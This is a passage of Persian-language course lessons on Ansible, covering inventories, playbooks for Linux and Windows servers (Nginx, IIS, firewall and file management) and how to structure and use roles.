برای مدیریت سرورهای Windows، Ansible از WinRM (Windows Remote Management) برای برقراری ارتباط استفاده می‌کند. WinRM یک پروتکل Microsoft است که برای مدیریت از راه دور سرورها در سیستم‌عامل Windows طراحی شده است. برای استفاده از WinRM باید تنظیمات خاصی روی سرور Windows انجام دهید.

نکات اصلی برای تنظیم اتصال به سرورهای Windows:

  • WinRM باید روی سرورهای Windows فعال باشد.
  • برای استفاده از WinRM از pywinrm باید در Ansible استفاده کنید.

2. تنظیمات و پیکربندی‌ها برای اتوماسیون پیکربندی سرورهای Linux

2.1. نصب و پیکربندی Ansible برای مدیریت سرورهای Linux

برای نصب Ansible بر روی سیستم کنترل (که می‌تواند سیستم شما یا یک سرور باشد)، باید از دستور زیر استفاده کنید:

دستور نصب Ansible بر روی سیستم Ubuntu:

sudo apt update
sudo apt install ansible

برای سیستم‌های دیگر مانند RHEL/CentOS، از دستور زیر استفاده کنید:

sudo yum install ansible
2.2. ساخت Inventory فایل برای سرورهای Linux

Inventory فایل‌ها لیست سیستم‌هایی هستند که قرار است تحت مدیریت Ansible قرار بگیرند. برای مثال، یک فایل inventory برای سرورهای Linux ممکن است به شکل زیر باشد:

نمونه فایل inventory برای سرورهای Linux:

[linux_servers]
server1 ansible_host=192.168.1.10 ansible_ssh_user=root ansible_ssh_private_key_file=/path/to/private_key
server2 ansible_host=192.168.1.11 ansible_ssh_user=root ansible_ssh_private_key_file=/path/to/private_key

در این فایل:

  • ansible_host آدرس IP سرور مقصد را مشخص می‌کند.
  • ansible_ssh_user کاربری است که Ansible با آن به سرور متصل می‌شود.
  • ansible_ssh_private_key_file مسیر کلید خصوصی SSH را مشخص می‌کند.
2.3. اجرای Playbook برای سرورهای Linux

حالا می‌توانید Playbook‌ها را برای اعمال تغییرات و پیکربندی‌های موردنظر خود روی سرورهای Linux اجرا کنید. برای مثال، یک Playbook ساده برای نصب Nginx به‌صورت زیر خواهد بود:

نمونه Playbook برای نصب Nginx:

---
- name: Install Nginx on Linux Servers
  hosts: linux_servers
  become: yes
  tasks:
    - name: Ensure Nginx is installed
      apt:
        name: nginx
        state: present

برای اجرای Playbook، از دستور زیر استفاده می‌کنید:

ansible-playbook -i inventory install_nginx.yml

3. تنظیمات و پیکربندی‌ها برای اتوماسیون پیکربندی سرورهای Windows

3.1. نصب و پیکربندی Ansible برای مدیریت سرورهای Windows

برای مدیریت سرورهای Windows، ابتدا باید بسته pywinrm را نصب کنید که به Ansible این امکان را می‌دهد تا از طریق WinRM به سرورهای Windows متصل شود.

دستور نصب pywinrm:

pip install pywinrm

سپس باید سرورهای Windows را برای استفاده از WinRM پیکربندی کنید. دستورالعمل‌های رسمی Microsoft را برای فعال‌سازی WinRM و انجام تنظیمات لازم دنبال کنید.

3.2. ساخت Inventory فایل برای سرورهای Windows

برای پیکربندی سرورهای Windows، نیاز به فایل Inventory خاص داریم. در اینجا یک نمونه فایل inventory برای سرورهای Windows آورده شده است:

نمونه فایل inventory برای سرورهای Windows:

[windows_servers]
winserver1 ansible_host=192.168.1.20 ansible_user=Administrator ansible_password=YourPassword ansible_connection=winrm
winserver2 ansible_host=192.168.1.21 ansible_user=Administrator ansible_password=YourPassword ansible_connection=winrm

در اینجا:

  • ansible_connection=winrm مشخص می‌کند که اتصال از نوع WinRM خواهد بود.
  • ansible_user و ansible_password برای احراز هویت با سرور Windows استفاده می‌شوند.
3.3. اجرای Playbook برای سرورهای Windows

حالا می‌توانید Playbook‌ها را برای سرورهای Windows اجرا کنید. برای مثال، برای نصب IIS بر روی سرورهای Windows، Playbook به شکل زیر خواهد بود:

نمونه Playbook برای نصب IIS در Windows:

---
- name: Install IIS on Windows Servers
  hosts: windows_servers
  tasks:
    - name: Ensure IIS is installed
      win_feature:
        name: Web-Server
        state: present

برای اجرای Playbook، دستور زیر را وارد کنید:

ansible-playbook -i inventory install_iis.yml

4. بهترین شیوه‌ها برای مدیریت پیکربندی سرورهای Linux و Windows با Ansible

  • استفاده از Playbook‌های عمومی: Playbook‌های مشابه برای هر دو نوع سیستم‌عامل می‌توانند ایجاد شوند که وظایف مشترک مانند نصب بسته‌ها یا مدیریت کاربران را انجام دهند.
  • مدیریت با استفاده از متغیرها: متغیرها می‌توانند برای تنظیمات پیکربندی‌های مختلف در سرورهای Linux و Windows استفاده شوند.
  • گزارش‌گیری و نظارت: استفاده از ماژول‌های debug و ansible_facts برای نظارت و گزارش وضعیت سیستم‌ها مفید است.

جمع بندی

در این بخش، نحوه استفاده از Ansible برای اتوماسیون پیکربندی سرورهای Linux و Windows را بررسی کردیم. در سرورهای Linux از SSH برای ارتباط و در سرورهای Windows از WinRM استفاده می‌شود. با استفاده از Playbook‌ها می‌توان به‌صورت خودکار تنظیمات مختلف را روی هر دو نوع سرور اعمال کرد. این رویکرد به شما این امکان را می‌دهد که پیکربندی‌ها را به‌طور مؤثرتر و بدون نیاز به انجام دستی عملیات پیچیده مدیریت کنید.[/cdb_course_lesson][cdb_course_lesson title=”فصل 2. Playbooks و Roles در Ansible”][/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”ساخت Playbooks برای عملیات مختلف (نصب نرم‌افزار، پیکربندی شبکه، مدیریت فایل‌ها)” subtitle=”توضیحات کامل”]Ansible به‌عنوان یک ابزار اتوماسیون قدرتمند برای مدیریت سرورها و شبکه‌ها، این امکان را به شما می‌دهد که Playbookهایی ایجاد کنید که برای عملیات مختلف مانند نصب نرم‌افزار، پیکربندی شبکه، و مدیریت فایل‌ها طراحی شده باشند. در این بخش، به بررسی نحوه ساخت Playbookها برای این عملیات می‌پردازیم و مثال‌هایی را برای هر یک از این موارد ارائه خواهیم کرد.

1. نصب نرم‌افزار با استفاده از Playbook

برای نصب نرم‌افزار بر روی سرورها، می‌توان از ماژول‌های مختلفی در Ansible مانند apt, yum, dnf و package استفاده کرد. در اینجا به نحوه استفاده از Playbook برای نصب یک نرم‌افزار در سرورهای Linux و Windows پرداخته می‌شود.

1.1 نصب نرم‌افزار بر روی سرورهای Linux

برای نصب نرم‌افزار بر روی سرورهای Linux با استفاده از Ansible، می‌توان از ماژول apt (برای سیستم‌های Debian-based مانند Ubuntu) یا yum (برای سیستم‌های RedHat-based مانند CentOS) استفاده کرد. در اینجا مثالی برای نصب Nginx روی سرورهای Ubuntu آورده شده است.

نمونه Playbook برای نصب Nginx روی سرورهای Ubuntu:

---
- name: Install Nginx on Ubuntu
  hosts: linux_servers
  become: yes
  tasks:
    - name: Install Nginx
      apt:
        name: nginx
        state: present
        update_cache: yes

در اینجا:

  • become: yes برای گرفتن دسترسی‌های مدیریتی (sudo) استفاده می‌شود.
  • apt: name=nginx state=present نصب بسته nginx را انجام می‌دهد.
  • update_cache: yes باعث می‌شود که کش پایگاه داده بسته‌ها به‌روز شود.

برای اجرای این Playbook باید دستور زیر را وارد کنید:

ansible-playbook -i inventory install_nginx.yml

مسیر فایل: install_nginx.yml

1.2 نصب نرم‌افزار بر روی سرورهای Windows

برای نصب نرم‌افزار بر روی سرورهای Windows، می‌توان از ماژول win_chocolatey یا win_package استفاده کرد. در اینجا نحوه نصب Google Chrome با استفاده از win_chocolatey آورده شده است.

نمونه Playbook برای نصب Google Chrome روی سرورهای Windows:

---
- name: Install Google Chrome on Windows
  hosts: windows_servers
  tasks:
    - name: Install Google Chrome
      win_chocolatey:
        name: googlechrome
        state: present

در اینجا:

  • win_chocolatey ماژولی است که برای نصب نرم‌افزار از طریق Chocolatey، که یک مدیر بسته برای ویندوز است، استفاده می‌کند.

برای اجرای این Playbook باید دستور زیر را وارد کنید:

ansible-playbook -i inventory install_chrome.yml

مسیر فایل: install_chrome.yml

2. پیکربندی شبکه با استفاده از Playbook

Ansible می‌تواند برای پیکربندی شبکه مانند تنظیمات IP، تنظیمات DNS، و پیکربندی‌های مرتبط با فایروال‌ها مورد استفاده قرار گیرد. برای پیکربندی شبکه، معمولاً از ماژول‌هایی مانند network و firewalld استفاده می‌شود.

2.1 تنظیم IP ثابت در سیستم‌های Linux

در اینجا مثالی برای تنظیم یک IP ثابت در سیستم‌های Linux آورده شده است. فرض کنید می‌خواهید تنظیمات IP را در سیستم‌های مبتنی بر Debian تغییر دهید.

نمونه Playbook برای تنظیم IP ثابت در Ubuntu:

---
- name: Configure static IP on Ubuntu
  hosts: linux_servers
  become: yes
  tasks:
    - name: Set static IP address
      ansible.builtin.template:
        src: /path/to/static_ip_template.j2
        dest: /etc/network/interfaces
      notify:
        - Restart networking service

  handlers:
    - name: Restart networking service
      service:
        name: networking
        state: restarted

در اینجا:

  • ansible.builtin.template از یک قالب Jinja2 برای ایجاد فایل پیکربندی استفاده می‌کند.
  • notify باعث می‌شود که سرویس شبکه پس از اعمال تغییرات راه‌اندازی مجدد شود.

مسیر فایل قالب: /path/to/static_ip_template.j2

برای اجرای این Playbook باید دستور زیر را وارد کنید:

ansible-playbook -i inventory configure_static_ip.yml

مسیر فایل Playbook: configure_static_ip.yml

2.2 تنظیم فایروال در سرورهای Linux

در اینجا مثالی برای تنظیم فایروال با استفاده از firewalld در سرورهای Linux آورده شده است. این Playbook پورت 80 (HTTP) را باز می‌کند.

نمونه Playbook برای تنظیم فایروال با firewalld:

---
- name: Configure Firewall on Linux
  hosts: linux_servers
  become: yes
  tasks:
    - name: Open port 80 for HTTP
      firewalld:
        service: http
        permanent: yes
        state: enabled
      notify:
        - Reload firewalld

  handlers:
    - name: Reload firewalld
      firewalld:
        state: reloaded

در اینجا:

  • firewalld ماژولی است که برای پیکربندی فایروال Linux استفاده می‌شود.
  • service: http سرویس HTTP را فعال می‌کند.
  • permanent: yes تغییرات را به‌صورت دائمی ذخیره می‌کند.

برای اجرای این Playbook باید دستور زیر را وارد کنید:

ansible-playbook -i inventory configure_firewall.yml

مسیر فایل: configure_firewall.yml

3. مدیریت فایل‌ها با استفاده از Playbook

Ansible امکان مدیریت فایل‌ها مانند ایجاد، حذف، کپی و تغییر مجوزهای فایل‌ها را فراهم می‌کند. برای انجام این کار، از ماژول‌هایی مانند copy, template, file و fetch استفاده می‌شود.

3.1 کپی فایل‌ها به سرورهای Linux

در اینجا مثالی برای کپی کردن یک فایل پیکربندی به سرورهای Linux آورده شده است.

نمونه Playbook برای کپی کردن فایل به سرورهای Linux:

---
- name: Copy configuration file to Linux servers
  hosts: linux_servers
  become: yes
  tasks:
    - name: Copy Nginx configuration file
      copy:
        src: /path/to/nginx.conf
        dest: /etc/nginx/nginx.conf
        mode: '0644'

در اینجا:

  • copy ماژول برای کپی کردن فایل‌ها به سرور استفاده می‌شود.
  • mode: '0644' مجوزهای فایل را تعیین می‌کند.

برای اجرای این Playbook باید دستور زیر را وارد کنید:

ansible-playbook -i inventory copy_nginx_config.yml

مسیر فایل: copy_nginx_config.yml

3.2 حذف فایل‌ها از سرورهای Linux

برای حذف فایل‌ها از سرورهای Linux، می‌توان از ماژول file استفاده کرد.

نمونه Playbook برای حذف فایل‌ها از سرورهای Linux:

---
- name: Remove a file from Linux servers
  hosts: linux_servers
  become: yes
  tasks:
    - name: Remove old nginx configuration
      file:
        path: /etc/nginx/old_nginx.conf
        state: absent

در اینجا:

  • file ماژول برای مدیریت فایل‌ها است.
  • state: absent برای حذف فایل استفاده می‌شود.

برای اجرای این Playbook باید دستور زیر را وارد کنید:

ansible-playbook -i inventory remove_nginx_config.yml

مسیر فایل: remove_nginx_config.yml

جمع بندی

در این بخش، نحوه ساخت Playbookهایی برای عملیات مختلف مانند نصب نرم‌افزار, پیکربندی شبکه, و مدیریت فایل‌ها با استفاده از Ansible بررسی شد. این Playbookها می‌توانند به‌طور خودکار تنظیمات موردنیاز برای نصب نرم‌افزار، پیکربندی شبکه و مدیریت فایل‌ها را روی سرورهای Linux و Windows انجام دهند. استفاده از Ansible برای این عملیات‌ها به شما کمک می‌کند که فرایندهای پیچیده را خودکار کنید و از خطاهای انسانی جلوگیری کنید.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”استفاده از Roles برای مدیریت ساختار Playbooks” subtitle=”توضیحات کامل”] 

در Ansible، برای مدیریت و سازمان‌دهی بهتر Playbookها، می‌توان از مفهومی به نام Roles استفاده کرد. Roles به شما این امکان را می‌دهند که Playbookهای پیچیده را به بخش‌های کوچک‌تر و قابل استفاده مجدد تقسیم کنید. این کار به ویژه در پروژه‌های بزرگ و با تعداد زیاد سرور مفید است، زیرا با استفاده از Roles می‌توان Playbookهای ساختاریافته و مقیاس‌پذیر ایجاد کرد.

در این بخش، نحوه استفاده از Roles برای مدیریت ساختار Playbookها را بررسی خواهیم کرد.

1. ساختار پوشه‌ای Role

هر Role در Ansible معمولاً یک ساختار پوشه‌ای خاص دارد که به شما کمک می‌کند تا وظایف (tasks)، متغیرها (variables)، فایل‌ها (files)، و قالب‌ها (templates) را به صورت منظم و قابل فهم دسته‌بندی کنید. ساختار پوشه‌ای Role به شکل زیر است:

myrole/
    ├── defaults/
    │   └── main.yml
    ├── files/
    ├── handlers/
    │   └── main.yml
    ├── meta/
    │   └── main.yml
    ├── tasks/
    │   └── main.yml
    ├── templates/
    └── vars/
        └── main.yml

توضیحات هر پوشه:

  • defaults/: شامل مقادیر پیش‌فرض برای متغیرها است.
  • files/: شامل فایل‌هایی است که می‌خواهید به سرورهای مقصد کپی کنید.
  • handlers/: شامل Handlerهایی است که در صورت تغییرات خاص اجرا می‌شوند (مثلاً راه‌اندازی مجدد سرویس‌ها).
  • meta/: شامل اطلاعات متادیتا درباره Role مانند وابستگی‌ها (dependencies) است.
  • tasks/: شامل وظایف اصلی Role است.
  • templates/: شامل قالب‌های Jinja2 برای فایل‌های پیکربندی است.
  • vars/: شامل متغیرهای خاص Role است.

2. ایجاد یک Role

در اینجا نحوه ایجاد یک Role ساده برای نصب و پیکربندی Nginx در سرورهای Ubuntu آورده شده است.

2.1 ساخت پوشه‌های Role

ابتدا ساختار پوشه‌ای Role خود را ایجاد می‌کنیم:

mkdir -p roles/nginx/{defaults,tasks,handlers,templates,vars}

2.2 نوشتن فایل‌های Role

2.2.1 تعریف متغیرهای پیش‌فرض (defaults/main.yml)

در این فایل می‌توان متغیرهای پیش‌فرض را تعریف کرد.

# roles/nginx/defaults/main.yml
nginx_port: 80
nginx_package: nginx
2.2.2 نوشتن وظایف (Tasks) برای نصب و پیکربندی Nginx (tasks/main.yml)

در این فایل، وظایف مختلفی مانند نصب نرم‌افزار و پیکربندی آن انجام می‌شود.

# roles/nginx/tasks/main.yml
---
- name: Install nginx
  apt:
    name: "{{ nginx_package }}"
    state: present
    update_cache: yes

- name: Copy nginx configuration
  template:
    src: nginx.conf.j2
    dest: /etc/nginx/nginx.conf
  notify:
    - Restart nginx

در اینجا از متغیر nginx_package که در فایل defaults/main.yml تعریف شده استفاده کرده‌ایم. همچنین از ماژول template برای کپی کردن فایل پیکربندی Nginx استفاده کرده‌ایم.

2.2.3 نوشتن Handler برای راه‌اندازی مجدد Nginx (handlers/main.yml)

Handlerها برای انجام اقداماتی مانند راه‌اندازی مجدد سرویس‌ها پس از تغییرات استفاده می‌شوند.

# roles/nginx/handlers/main.yml
---
- name: Restart nginx
  service:
    name: nginx
    state: restarted
2.2.4 قالب فایل پیکربندی Nginx (templates/nginx.conf.j2)

فایل قالب nginx.conf.j2 را برای پیکربندی Nginx ایجاد می‌کنیم.

# roles/nginx/templates/nginx.conf.j2
server {
    listen {{ nginx_port }};
    server_name _;

    location / {
        proxy_pass http://localhost:8080;
    }
}

در اینجا، از متغیر nginx_port که در فایل defaults/main.yml تعریف شده استفاده می‌کنیم.

2.3 اجرای Role در یک Playbook

حال که Role خود را ایجاد کرده‌ایم، می‌توانیم از آن در یک Playbook استفاده کنیم. در اینجا یک نمونه Playbook برای استفاده از Role Nginx آورده شده است.

---
- name: Install and configure Nginx
  hosts: linux_servers
  become: yes
  roles:
    - nginx

در اینجا:

  • roles: nginx به این معنا است که Playbook از Role به نام nginx برای نصب و پیکربندی Nginx استفاده می‌کند.

برای اجرای این Playbook باید دستور زیر را وارد کنید:

ansible-playbook -i inventory install_nginx_role.yml

مسیر فایل: install_nginx_role.yml

3. استفاده از متغیرها و فایل‌های مختلف در Roles

در این بخش، می‌توانیم فایل‌های مختلف و متغیرها را در Role استفاده کنیم. فرض کنید می‌خواهید از یک فایل پیکربندی خاص برای یک سرور خاص استفاده کنید. می‌توان از متغیرهای Role و متغیرهای Playbook برای این کار استفاده کرد.

3.1 استفاده از متغیرهای Playbook

اگر می‌خواهید یک متغیر را از خارج از Role (در Playbook) ارسال کنید، می‌توانید آن را به‌صورت زیر انجام دهید:

---
- name: Install and configure Nginx with custom port
  hosts: linux_servers
  become: yes
  vars:
    nginx_port: 8080
  roles:
    - nginx

در اینجا، متغیر nginx_port در Playbook تعریف شده و این مقدار از آن به داخل Role انتقال می‌یابد.

3.2 استفاده از فایل‌های مختلف برای سرورهای مختلف

برای استفاده از فایل‌های متفاوت برای سرورهای مختلف، می‌توانید از مسیرهای مختلف فایل‌ها در Role استفاده کنید.

- name: Copy custom nginx config for server A
  copy:
    src: /path/to/server_a/nginx.conf
    dest: /etc/nginx/nginx.conf

جمع‌بندی

در این بخش، نحوه استفاده از Roles برای مدیریت ساختار Playbookها در Ansible بررسی شد. استفاده از Roles به شما این امکان را می‌دهد که Playbookهای خود را به صورت ساختارمند و قابل استفاده مجدد تقسیم کنید، که این امر به ویژه در پروژه‌های پیچیده و بزرگ بسیار مفید است. با استفاده از Roles می‌توانید کارهای مختلف مانند نصب نرم‌افزار، پیکربندی سرویس‌ها، و مدیریت فایل‌ها را به‌طور مؤثر و منظم انجام دهید. این شیوه موجب افزایش قابلیت نگهداری و مقیاس‌پذیری در پروژه‌های شما می‌شود.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”نوشتن Role برای مدیریت سرویس‌ها و فرآیندها با Ansible” subtitle=”توضیحات کامل”]در این بخش، به نحوه نوشتن یک Role برای مدیریت سرویس‌ها و فرآیندها در Ansible خواهیم پرداخت. این Role می‌تواند برای نصب، پیکربندی و کنترل سرویس‌های مختلف مانند Apache, Nginx یا هر سرویس دیگری مورد استفاده قرار گیرد. استفاده از Role ها به شما این امکان را می‌دهد که وظایف را در ساختار قابل استفاده مجدد سازماندهی کنید و آن‌ها را در چندین Playbook به کار ببرید.


ساختار پایه Role برای مدیریت سرویس‌ها

یک Role در Ansible دارای ساختار خاصی است که باید در دایرکتوری مناسب قرار گیرد. برای ایجاد یک Role برای مدیریت سرویس‌ها، ابتدا باید دایرکتوری‌های زیر را ایجاد کنید:

my_role/
├── defaults/
├── files/
├── handlers/
├── meta/
├── tasks/
├── templates/
├── vars/

در این ساختار:

  • defaults/: شامل مقادیر پیش‌فرض برای متغیرها.
  • files/: برای ذخیره فایل‌هایی که باید به مقصد کپی شوند.
  • handlers/: شامل دستورات برای راه‌اندازی مجدد سرویس‌ها در صورت نیاز.
  • meta/: شامل متا داده‌ها و اطلاعات اضافی برای Role.
  • tasks/: شامل وظایف و کارهایی است که باید انجام شود.
  • templates/: شامل قالب‌های Jinja2 که می‌توانند برای پیکربندی‌ها استفاده شوند.
  • vars/: برای متغیرهای خاصی که برای Role تعریف می‌کنید.

نوشتن وظایف (Tasks) برای مدیریت سرویس‌ها

در این بخش از Role، ما وظایف مربوط به نصب و مدیریت سرویس‌ها را مشخص می‌کنیم. به عنوان مثال، برای نصب و شروع سرویس Apache، فایل tasks/main.yml به این صورت خواهد بود:

---
# tasks/main.yml
- name: نصب بسته apache
  apt:
    name: apache2
    state: present
  become: true

- name: شروع سرویس apache
  service:
    name: apache2
    state: started
    enabled: yes
  become: true

- name: بررسی وضعیت سرویس apache
  service_facts:
  become: true

در این مثال:

  • ابتدا با استفاده از ماژول apt بسته Apache2 نصب می‌شود.
  • سپس با استفاده از ماژول service، سرویس Apache راه‌اندازی و فعال می‌شود تا در هنگام بوت سیستم نیز شروع شود.
  • در نهایت با استفاده از ماژول service_facts، اطلاعات مربوط به وضعیت سرویس‌ها دریافت می‌شود.

نوشتن Handlers برای مدیریت تغییرات در سرویس‌ها

Handlers برای انجام کارهای خاص در زمانی که تغییراتی در سیستم اعمال می‌شود، مورد استفاده قرار می‌گیرند. برای مثال، اگر فایل پیکربندی تغییر کند، ممکن است بخواهید سرویس را ریستارت کنید.

در این مثال، فایل handlers/main.yml به صورت زیر نوشته می‌شود:

---
# handlers/main.yml
- name: راه‌اندازی مجدد apache
  service:
    name: apache2
    state: restarted
  become: true

اگر در هر نقطه از Playbook تغییراتی ایجاد شود که نیاز به راه‌اندازی مجدد سرویس Apache داشته باشد، این handler اجرا می‌شود.


متغیرها و پیش‌فرض‌ها برای سرویس‌ها

برای ایجاد پیکربندی قابل تنظیم، می‌توانید از متغیرها استفاده کنید. به عنوان مثال، می‌توانید پورت Apache یا مسیر خاصی را که فایل پیکربندی در آن قرار دارد، به صورت متغیر تعریف کنید.

در فایل defaults/main.yml می‌توانید متغیرهایی مانند پورت و مسیر پیکربندی را به صورت پیش‌فرض تعریف کنید:

---
# defaults/main.yml
apache_port: 80
apache_config_path: /etc/apache2/apache2.conf

در نهایت در فایل‌های دیگر، از این متغیرها استفاده می‌کنید:

- name: تنظیم پورت apache
  lineinfile:
    path: "{{ apache_config_path }}"
    regexp: '^Listen'
    line: "Listen {{ apache_port }}"
  become: true

استفاده از Role در Playbook

پس از تعریف Role، می‌توانید آن را در Playbook اصلی خود فراخوانی کنید. برای انجام این کار، یک فایل Playbook ایجاد کنید که در آن Role را بارگذاری می‌کنید.

---
- hosts: webservers
  become: true
  roles:
    - my_role

در این مثال، Playbook سرویس Apache را روی تمام میزبان‌های موجود در گروه webservers راه‌اندازی می‌کند.


جمع بندی

در این بخش، نحوه نوشتن Role برای مدیریت سرویس‌ها و فرآیندها در Ansible را بررسی کردیم. این Role شامل موارد زیر است:

  • ساختار پایه Role و نحوه استفاده از آن.
  • نوشتن وظایف (tasks) برای نصب و مدیریت سرویس‌ها.
  • استفاده از handlers برای راه‌اندازی مجدد سرویس‌ها در صورت نیاز.
  • تعریف و استفاده از متغیرها برای پیکربندی دینامیک سرویس‌ها.
  • استفاده از Role در Playbook اصلی.

این روش به شما کمک می‌کند که بتوانید سرویس‌ها را به طور خودکار و مدیریت‌شده روی چندین سیستم راه‌اندازی کرده و آن‌ها را پیکربندی کنید.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”پیاده‌سازی بهترین شیوه‌ها در استفاده از Roles” subtitle=”توضیحات کامل”]استفاده از Roles در Ansible باعث می‌شود که وظایف (Tasks) به صورت جداگانه و قابل استفاده مجدد سازماندهی شوند. این شیوه برای مدیریت پیکربندی‌های پیچیده، اشتراک‌گذاری کد و ایجاد Playbook های تمیز و قابل نگهداری بسیار مفید است. در این بخش، بهترین شیوه‌ها و نکات کاربردی برای نوشتن و استفاده از Roles با تمرکز بر اجرای کد به‌صورت کامندی و استفاده از پیکربندی‌ها به‌صورت دقیق توضیح داده می‌شود.


1. استفاده از ساختار مناسب برای Roles

اولین نکته در استفاده از Roles، ساختار مناسب دایرکتوری است. یک Role باید به‌طور منظم و با رعایت یک ساختار مشخص ایجاد شود تا مدیریت آن آسان باشد. این ساختار به شما کمک می‌کند که Playbookهای خود را مرتب نگه دارید و آن‌ها را به‌راحتی قابل استفاده مجدد کنید.

ساختار پیش‌فرض یک Role در Ansible به شکل زیر است:

my_role/
├── defaults/
├── files/
├── handlers/
├── meta/
├── tasks/
├── templates/
├── vars/

در این ساختار:

  • defaults/: برای متغیرهای پیش‌فرض.
  • files/: برای فایل‌هایی که باید به سرور منتقل شوند.
  • handlers/: برای دستورات که در صورت نیاز اجرا می‌شوند.
  • meta/: برای اطلاعات متا مانند وابستگی‌ها.
  • tasks/: برای وظایفی که باید اجرا شوند.
  • templates/: برای قالب‌های Jinja2.
  • vars/: برای متغیرهای خاص که می‌خواهید تعریف کنید.

2. تفکیک متغیرها، فایل‌ها و وظایف

یکی از بهترین شیوه‌ها این است که تمام متغیرها، فایل‌ها و وظایف را از یکدیگر جدا کنید. این امر به شما امکان می‌دهد که از تغییرات ناخواسته جلوگیری کنید و هر جزء Role را به‌صورت مستقل نگه دارید.

متغیرها: متغیرها را می‌توانید در دایرکتوری defaults/ یا vars/ قرار دهید. برای مثال، در فایل defaults/main.yml:

---
# defaults/main.yml
apache_port: 80
apache_service: apache2

فایل‌ها: هر فایل خاصی که باید به سرور منتقل شود، باید در دایرکتوری files/ قرار گیرد. به‌عنوان‌مثال، اگر بخواهید یک فایل پیکربندی برای Apache ارسال کنید، می‌توانید در دایرکتوری files/ آن را ذخیره کنید و سپس در Playbook خود از آن استفاده کنید.

وظایف: وظایف خود را در دایرکتوری tasks/ نگه دارید. به‌عنوان‌مثال، در فایل tasks/main.yml:

---
# tasks/main.yml
- name: نصب apache
  apt:
    name: "{{ apache_service }}"
    state: present
  become: true

- name: راه‌اندازی سرویس apache
  service:
    name: "{{ apache_service }}"
    state: started
    enabled: true
  become: true

در این کد، با استفاده از متغیرهایی که از defaults/main.yml آمده‌اند، سرویس Apache نصب و راه‌اندازی می‌شود.


3. استفاده از Handlers به‌طور مؤثر

Handlers برای انجام کارهایی مانند راه‌اندازی مجدد سرویس‌ها پس از تغییرات استفاده می‌شوند. برای مثال، اگر فایل پیکربندی تغییر کند، ممکن است بخواهید سرویس مربوطه را ریستارت کنید. بنابراین، همیشه از Handlers برای اینگونه تغییرات استفاده کنید.

در فایل handlers/main.yml می‌توانید از دستورات زیر برای راه‌اندازی مجدد سرویس Apache استفاده کنید:

---
# handlers/main.yml
- name: راه‌اندازی مجدد apache
  service:
    name: "{{ apache_service }}"
    state: restarted
  become: true

در این بخش، handler بعد از تغییرات در فایل پیکربندی، سرویس Apache را ریستارت می‌کند.


4. استفاده از متا داده‌ها برای مدیریت وابستگی‌ها

در دایرکتوری meta/، می‌توانید وابستگی‌های Role را تعریف کنید. این به شما این امکان را می‌دهد که در صورت نیاز به Role‌های دیگر در Role جاری، آن‌ها را به‌طور مؤثر مدیریت کنید.

برای مثال، اگر یک Role به Role دیگری وابسته است، می‌توانید در فایل meta/main.yml این وابستگی‌ها را به‌صورت زیر تعریف کنید:

---
# meta/main.yml
dependencies:
  - { role: common }
  - { role: webserver }

این امر باعث می‌شود که Role common و webserver قبل از اجرای Role جاری بارگذاری شوند.


5. نوشتن Playbook برای استفاده از Role

پس از ایجاد Role خود، برای استفاده از آن در Playbook اصلی، باید به‌سادگی نام Role را در بخش roles قرار دهید. در فایل Playbook اصلی، به‌عنوان مثال، برای استفاده از Role ایجادشده، می‌توانید از کد زیر استفاده کنید:

---
- hosts: webservers
  become: true
  roles:
    - my_role

این Playbook Role شما را بر روی همه سرورهای موجود در گروه webservers اجرا می‌کند.


6. مستندسازی و مدیریت بهتر

برای استفاده بهتر از Role‌ها و اطمینان از این که هر کسی که با Playbook شما کار می‌کند، دقیقاً متوجه شود که چه چیزی در هر بخش انجام می‌شود، همیشه به مستندسازی و ارائه توضیحات مناسب توجه کنید.

در هر فایل tasks/main.yml، defaults/main.yml و سایر فایل‌های Role خود، توضیحات مربوط به هر وظیفه و متغیر را اضافه کنید تا شفافیت بیشتری برای کاربرانی که از آن استفاده می‌کنند فراهم کنید.


7. استفاده از Ansible Galaxy برای به اشتراک‌گذاری Role ها

Ansible Galaxy یک پلتفرم برای به اشتراک‌گذاری و دانلود Role‌ها است. اگر از Role‌هایی استفاده می‌کنید که در Galaxy موجود هستند، می‌توانید به‌راحتی آن‌ها را نصب کنید:

ansible-galaxy install geerlingguy.apache

این دستور Role geerlingguy.apache را از Ansible Galaxy نصب کرده و شما می‌توانید از آن در Playbook‌های خود استفاده کنید.


جمع بندی

در این بخش، به پیاده‌سازی بهترین شیوه‌ها در استفاده از Roles در Ansible پرداختیم. نکات و روش‌های معرفی‌شده عبارتند از:

  • ساختار مناسب برای نگهداری Roles.
  • تفکیک وظایف، متغیرها و فایل‌ها.
  • استفاده از Handlers برای مدیریت تغییرات.
  • تعریف وابستگی‌ها با استفاده از متا داده‌ها.
  • نوشتن Playbook برای استفاده از Roles.
  • مستندسازی مناسب برای درک بهتر عملکرد Role‌ها.
  • استفاده از Ansible Galaxy برای به اشتراک‌گذاری و استفاده از Role‌ها.

این شیوه‌ها به شما کمک می‌کنند که Playbook‌ها و Role‌های خود را به‌طور مؤثرتر و تمیزتری مدیریت کنید و از آن‌ها در پروژه‌های مختلف به‌صورت قابل استفاده مجدد بهره ببرید.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”بررسی ساختار دایرکتوری و فایل‌های مربوط به Roles” subtitle=”توضیحات کامل”]در Ansible، استفاده از Roles برای مدیریت پیکربندی‌ها به‌طور مؤثر و سازمان‌یافته، یکی از بهترین شیوه‌ها برای ساخت Playbookهای تمیز و قابل نگهداری است. برای استفاده بهینه از Roles، باید ساختار دایرکتوری آن به‌درستی تنظیم شده و از فایل‌ها به‌صورت صحیح استفاده شود. در این بخش، به بررسی ساختار دایرکتوری مربوط به Roles و فایل‌های مختلفی که در هر Role استفاده می‌شود، خواهیم پرداخت.


1. ساختار استاندارد دایرکتوری Role

یک Role در Ansible معمولاً شامل دایرکتوری‌ها و فایل‌های خاصی است که برای سازمان‌دهی وظایف و پیکربندی‌ها استفاده می‌شود. ساختار استاندارد یک Role به‌صورت زیر است:

my_role/
├── defaults/
├── files/
├── handlers/
├── meta/
├── tasks/
├── templates/
├── vars/

